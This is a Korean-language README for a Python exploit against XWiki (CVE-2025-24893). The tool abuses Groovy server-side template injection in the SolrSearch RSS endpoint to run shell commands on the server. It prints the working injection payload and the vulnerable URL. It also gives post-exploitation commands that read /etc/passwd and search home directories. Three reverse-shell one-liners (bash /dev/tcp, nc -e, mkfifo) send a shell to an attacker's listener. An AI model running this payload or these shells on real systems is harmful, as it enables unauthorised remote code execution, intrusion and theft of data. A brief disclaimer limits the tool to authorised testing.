XWiki SSTI 익스플로잇

XWiki의 SolrSearch 엔드포인트에서 Groovy 템플릿 인젝션을 통해 서버 측 템플릿 인젝션(SSTI) 취약점을 익스플로잇하는 Python 기반 도구입니다.

취약점

유형: 서버 측 템플릿 인젝션(SSTI)
구성 요소: XWiki SolrSearch RSS 피드
영향: 원격 코드 실행(RCE)
영향받는 버전: XWiki 15.10.8 (및 잠재적으로 다른 버전)

요구 사항

pip3 install requests beautifulsoup4

사용법

취약점 테스트

./xwiki_exploit.py -u http://target --test

단일 명령 실행

./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"

대화형 셸

./xwiki_exploit.py -u http://target.com

다음은 명령을 실행할 수 있는 대화형 의사 셸(pseudo-shell)을 제공합니다:

xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit

디버그 모드

./xwiki_exploit.py -u http://target.com -c "id" --debug

명령줄 옵션

-u, --url URL: 대상 URL (필수)
-c, --command CMD: 단일 명령 실행
--test: 대상 취약 여부 테스트
--no-verify-ssl: SSL 인증서 검증 비활성화
--debug: 디버그 출력 활성화

예제

정보 수집:

./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"

주요 파일 찾기:

./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"

네트워크 정보:

./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"

리버스 셸 설정:

# On attacker machine, start listener:
nc -lvnp 1337

# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"

기술적 세부사항

페이로드 구조

익스플로잇은 다음 SSTI 페이로드 구조를 사용합니다:

}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}

익스플로잇 흐름

페이로드는 URL 인코딩되어 취약한 엔드포인트로 전송됩니다:
```
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
```
서버는 Groovy 템플릿을 처리하고 명령을 실행합니다
출력은 다음 형식으로 RSS 피드 응답에서 캡처됩니다:
```
search on [}}OUTPUT]
```
익스플로잇은 HTML 응답을 파싱하여 명령 출력을 추출합니다

참고 사항

명령은 xwiki 사용자(uid=997)로 실행됩니다
작업 디렉터리는 /usr/lib/xwiki-jetty입니다
일부 명령은 실패하거나 백그라운드에서 실행될 경우 출력이 없을 수 있습니다
복잡한 명령의 경우 셸 스크립트 또는 base64 인코딩 사용을 고려하세요

면책 조항

이 도구는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 테스트 권한이 있는 시스템에서만 사용하세요.

CVE-2025-24893

인기